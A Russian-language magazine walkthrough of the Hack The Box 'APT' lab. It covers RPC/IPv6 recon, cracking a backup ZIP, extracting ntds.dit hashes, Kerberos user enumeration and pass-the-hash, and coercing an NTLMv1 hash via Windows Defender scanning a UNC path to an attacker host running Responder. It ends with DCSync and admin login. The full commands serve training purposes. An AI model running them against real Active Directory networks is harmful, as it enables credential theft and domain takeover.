Хакер - HTB APT. Проводим разведку через RPC и используем Windows Defender для захвата хоста
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Сканирование DCE/RPC
- Сканирование портов IPv6
- Шара
- Точка входа
- Получение учетных записей
- Брутфорс учетки
- Закрепление
- Тикет Kerberos
- Дампинг учетных данных
- Продвижение
- Эскалация привилегий
- Похищение хеша
- Атака DCSync
В этой статье с помощью DCE/RPC узнаём IPv6-адрес хоста, ломаем ZIP-архив, получаем бэкапы базы учеток AD, брутим имена пользователей c помощью Kerberos, читаем данные из реестра удаленного хоста благодаря Silver Ticket и делаем другие интересные вещи, чтобы пройти лабораторию APT с площадки Hack The Box. Уровень сложности — Insane!
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
IP-адрес машины — 10.10.10.213, я добавлю его в /etc/hosts и дальше буду обращаться к ней по адресу apt.htb.
Дальше, как всегда, сканируем порты с помощью Nmap. Если читал другие прохождения, то уже, наверное, скопировал мой скрипт. Он сначала сканирует весь диапазон, а затем повторно проходится по найденным портам, используя скрипты (опция -A).
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Находим два открытых порта:
- порт 80 — веб‑сервер Microsoft IIS;
- порт 135 — служба Microsoft RPC.
Первичный анализ сайта ничего не дал (кроме еще одного доменного имени), поэтому, пока мы не засели за его глубокое тестирование, можно быстренько проверить службу RPC.

Мы можем выполнить полный дамп записей при помощи rpcdump (в качестве параметра нужно передать только номер порта), но это ничего интересного нам не дает.
rpcdump.py apt.htb -p 135
Но rpcdump не выполняет запросы DCE/RPC.
Сканирование DCE/RPC
DCE/RPC — это система удаленного вызова процедур, разработанная для распределенной вычислительной среды. Эта система позволяет программистам заниматься разработкой распределенного софта так, будто все работает на том же компьютере, без необходимости волноваться за код, отвечающий за работу с сетью. Мы можем просканировать DCE/RPC и поискать службы, которые доступны через TCP. Для сканирования подойдет модуль tcp_dcerpc_auditor из Metasploit Framework.
msfconsole
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
set RHOSTS apt.htb
run

В результате мы получаем два GUID, значение которых мы можем посмотреть на сайте Microsoft. Там мы узнаем, что GUID 99fcfec4-5260-101b-bbcb-00aa0021347a отвечает за интерфейс IObjectExporter, о котором мы можем почитать в документации. IObjectExporter — это служба, которая запускается на каждой машине, где есть поддержка COM+. Он удаленно используется для доступа к локальному распознавателю объектов.

Одно из предназначений IObjectExporter — разрешение OXID. Когда клиент получает OXID как часть ссылки на объект, ему необходимо определить информацию привязки RPC, нужную для связи с удаленным неизвестным объектом экспортера объекта. Наиболее интересен метод ServerAlive2(), с помощью которого можно получить сетевые адреса. Это можно автоматизировать! Выполним сканирование с помощью IOXIDResolver.
sudo apt install python2
python2 -m pip install setuptools
python2 -m pip install impacket
python2 IOXIDResolver.py -t apt.htb

В результате получим IPv6-адрес хоста.
Сканирование портов IPv6
Мы получили нужный адрес — нужно его просканировать аналогично первому, так как некоторые службы могут отвечать по IPv6 и не отвечать по IPv4. Используем тот же скрипт, что и при первом сканировании.





Видим много служб. Я добавил новую запись в /etc/hosts.
dead:beef::b885:d62a:d679:573f apt.htb.local
Порты 80 и 135 предоставляют такую же информацию, что и по IPv4, к LDAP не подключиться, зато к SMB — можно.
Шара
На SMB натравим скрипт enum4linux и после перебора получим список общих директорий.
enum4linux -a apt.htb.local

Как видно в отчете, мы можем получить неавторизованный доступ к директории backup. Подключаемся с помощью smbclient и находим там архив, который скачиваем на локальный хост командой get.
smbclient \\\\apt.htb.local\\backup --no-pass

Содержимое архива очень интересное. Файл ntds.dit — это база данных, в которой хранится информация Active Directory — такая как сведения о пользователях, группах и членстве в группах. База также включает хеши паролей для всех пользователей в домене. Файл зашифрован, но ключи нашлись в файле SYSTEM.

ТОЧКА ВХОДА
Получение учетных записей
Сам архив запаролен, но вскрыть ZIP не проблема. Можно попробовать быстро перебрать пароль с помощью fcrackzip, указав следующие параметры:
-b— использовать перебор паролей;-D— перебор по словарю;-p []— путь к словарю.
Я буду использовать базу паролей rockyou.
fcrackzip -b -D -p ~/tmp/tools/rockyou.txt ./backup.zip

Без труда находим верный пароль от архива. Давай теперь извлечем файлы и расшифруем учетные данные пользователей домена из базы ntds.dit. Для этого используем скрипт secretsdump из пакета impacket. Скрипту передаем файлы ntds.dit и SYSTEM, а результат сохраним в файл.
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL > ntds_extract.txt

Мы увидим очень много данных. В таких случаях лучше отдельно сделать список пользователей и список их хешей.
cat ntds_extract.txt | grep ":::" | cut -d ':' -f 1 > users.txt
cat ntds_extract.txt | grep ":::" | cut -d ':' -f 4 > hashes.txt
Брутфорс учетки
Так как этот список получен из бэкапов, давай проверим, какие пользователи есть в системе в данный момент.
Перечислить только имена пользователей можно с помощью Kerberos. Для любого пользователя мы можем запросить ключ (AS key) Kerberos, который будет зашифрован с помощью пароля этого пользователя. И если в UAC учетной записи установлен флаг DONT_REQ_PREAUTH (не требуется предварительная проверка подлинности Kerberos), то сервер вернет нам ключ. Но дело в том, что сервер различает ответ «данный флаг не установлен» и «учетная запись не существует». Получается, что мы можем перечислить имена пользователей, и, если ответ «флаг не установлен», значит, такой пользователь есть. Все действия уже реализованы в скрипте kerbrute.
kerbrute userenum --domain htb.local --dc apt.htb.local ./users.txt

Находим три учетные записи. Первая из них — учетная запись самого компьютера, вторая запись стандартна, а вот третья уже пользовательская. Попробуем перебрать для этого пользователя найденные хеши. Так как утилита CME не работает по IPv6, нам придется использовать программы, которые работают с хешами, и так как мы уже начали искать пользователя с помощью Kerberos, то будем перебирать хеш там же с помощью getTGT (тоже входит в пакет impacket). Используем следующий bash-скрипт:
for i in $(cat hashes.txt) ;
do echo $i ;
getTGT.py htb.local/henry.vinson -hashes :$i -dc-ip apt.htb.local | grep Kerberos ;
done

Среди информации, где сообщается, что аутентификационная информация неверна, есть одно сообщение о несоответствии системного времени. Это верный хеш, который не может пройти проверку времени действия тикета.
ЗАКРЕПЛЕНИЕ
Тикет Kerberos
Удивительно, но с найденным хешем нигде не получается аутентифицироваться, поэтому продолжим упражнения с Kerberos и сделаем себе тикет (часть проверки ведь пройдена).
Для начала нам нужно синхронизировать время, чтобы разница времени на локальном хосте и на удаленном не превышала пяти минут. Для получения времени на удаленной машине просканируем только 445-й порт с использованием скриптов Nmap. В качестве дополнительной информации получим полное имя домена (FQDN) и текущее системное время.
nmap -6 -p445 -A apt.htb.local

Выставим такое же системное время и на локальном хосте. После чего снова запросим тикет. После удачного получения билета, который будет сохранен в файл, экспортируем билет.
sudo date -s "20:52:10+00:00"
getTGT.py htb.local/henry.vinson -hashes :e53d87d42adaa3ca32bdb34a876cbffb -dc-ip apt.htb.local
export KRB5CCNAME=henry.vinson.ccache

Мало что получилось сделать с билетом, зато в реестре точно получится что‑нибудь найти. Мы можем подключиться к реестру удаленной машины, были бы учетные данные, но у нас есть билет.
Снова обратимся к пакету скриптов impacket, в этот раз нам нужен reg.py. Сначала глянем, можем ли мы подключиться и получить содержимое корневой ветки реестра пользовательского раздела. Вызываем reg.py со следующими аргументами:
--dc-ip []— адрес контроллера домена;-k— использовать аутентификацию Kerberos;query— запрос.
reg.py -dc-ip apt.htb.local -k apt.htb.local query -keyName HKU

Дампинг учетных данных
Часто бывает такое, что некоторые приложения хранят в реестре важные для атаки данные, такие как пути к конфигу, сами конфиги, учетные данные, секреты, токены. Давай посмотрим ветку реестра Software рекурсивно, для чего используем параметр -s.
reg.py -dc-ip apt.htb.local -k apt.htb.local query -keyName HKU\\Software -s

И сразу получим учетные данные!
ПРОДВИЖЕНИЕ
Среди обнаруженных открытых портов был порт 5985, который отвечает за службу удаленного управления WS-Man. Стоит попытаться получить контроль над машиной с помощью очень удобной утилиты Evil-WinRM. После получения контроля забираем флаг пользователя.
evil-winrm -i apt.htb.local -u henry.vinson_adm -p 'G1#Ny5@2dvht'

ЭСКАЛАЦИЯ ПРИВИЛЕГИЙ
Чтобы понять, куда двигаться дальше, я обычно использую скрипты PEASS. Увы, в этот раз они не обнаружили ничего, что могло бы нас подтолкнуть к повышению привилегий. Однако я по опыту знаю, что PEASS не проверяет файл ConsoleHost_history.txt. Это аналог файла .bash_history из Linux, который включен по умолчанию начиная с PowerShell 5. Расположен он вот по такому пути:
APPDATA\Microsoft\Windows\PowerShell\PSReadLine
Это важный источник информации о командах, которые выполнял пользователь, и файлах, с которыми он работал. Возможно, даже о паролях!

Похищение хеша
В извлеченной из ConsoleHost_history.txt команде параметру LmCompatibilityLevel присваивается значение 2, а находится он вот в этой ветке:
HKLM\System\CurrentControlSet\Control\Lsa\
Этот параметр определяет, какой протокол проверки подлинности запроса или ответа используется для сетевых учетных данных. Стандартный протокол Active Directory — это Kerberos, но, если по какой‑то причине он не согласован, Active Directory использует LM, NTLM или NTLMv2.
Так вот, если LmCompatibilityLevel имеет значение 2, то для проверки подлинности клиентского устройства будет использоваться только протокол NTLMv1. А это значит, что если мы заставим сервер обратиться к своему локальному хосту, то сможем получить NTLMv1-хеш пароля учетной записи компьютера. Множество техник, которые помогут этого достичь, перечислены в репозитории All_NTLM_leak.
Например, хеш можно получить при помощи Windows Defender. Сначала запустим на локальном хосте скрипт Responder, чтобы отлавливать хеши. Взломать хеши NTLMv1 можно с помощью ресурса crack.sh, но бесплатно это можно сделать, только если challenge равен 1122334455667788, поэтому в файле конфигурации /etc/responder/Responder.conf зададим это значение и запустим Responder.

responder -I 10.10.13.31 --lm
А теперь заставим Windows Defender сканировать файл на нашем хосте. Это вызовет процесс аутентификации. Как только мы выполним сканирование, в окне Responder появится хеш.
C:\Program Files\Windows Defender\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.14.31\qweqwe

Затем отправляем хеш в формате $NETNTLM$[challenge]$[hash], а ключ получаем на указанную почту.


Атака DCSync
Это хеш пароля учетной записи компьютера. Это привилегированная учетка, которая позволит нам выполнить атаку DCSync — симуляцию поведения контроллера домена. Она приводит к полной репликации критических данных, в том числе и всех учеток.
secretsdump.py 'APT$@apt.htb.local' -hashes :d167c3238864b12f5f82feae86a7f798

Получив хеш пароля администратора, подключаемся к хосту с помощью той же службы WS-Man.
evil-winrm -i apt.htb.local -u Administrator -H c370bddf384a691d811ff3495e8a72e2

Флаг администратора получен, машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei